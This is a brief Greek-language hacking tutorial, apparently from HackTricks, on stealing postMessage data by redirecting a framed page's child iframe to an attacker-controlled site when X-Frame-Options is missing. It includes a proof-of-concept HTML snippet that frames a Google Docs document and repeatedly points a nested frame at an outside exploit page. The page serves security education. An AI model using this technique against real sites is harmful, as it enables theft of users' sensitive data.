Κλοπή postmessage τροποποιώντας τη θέση του iframe

Reading time: 2 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Αλλαγή θέσεων παιδικών iframes

Σύμφωνα με αυτή την αναφορά, αν μπορείτε να iframe μια ιστοσελίδα χωρίς X-Frame-Header που περιέχει άλλο iframe, μπορείτε να αλλάξετε τη θέση αυτού του παιδικού iframe.

Για παράδειγμα, αν το abc.com έχει το efg.com ως iframe και το abc.com δεν έχει X-Frame header, θα μπορούσα να αλλάξω το efg.com σε evil.com cross origin χρησιμοποιώντας, frames.location.

Αυτό είναι ιδιαίτερα χρήσιμο σε postMessages γιατί αν μια σελίδα στέλνει ευαίσθητα δεδομένα χρησιμοποιώντας ένα wildcard όπως windowRef.postmessage("","*"), είναι δυνατόν να αλλάξετε τη θέση του σχετικού iframe (παιδικό ή γονικό) σε μια τοποθεσία που ελέγχεται από τον επιτιθέμενο και να κλέψετε αυτά τα δεδομένα.

html
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
//pseudo code
setTimeout(function () {
exp()
}, 6000)

function exp() {
//needs to modify this every 0.1s as it's not clear when the iframe of the iframe affected is created
setInterval(function () {
window.frames[0].frame[0][2].location =
"https://geekycat.in/exploit.html"
}, 100)
}
</script>
</html>

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks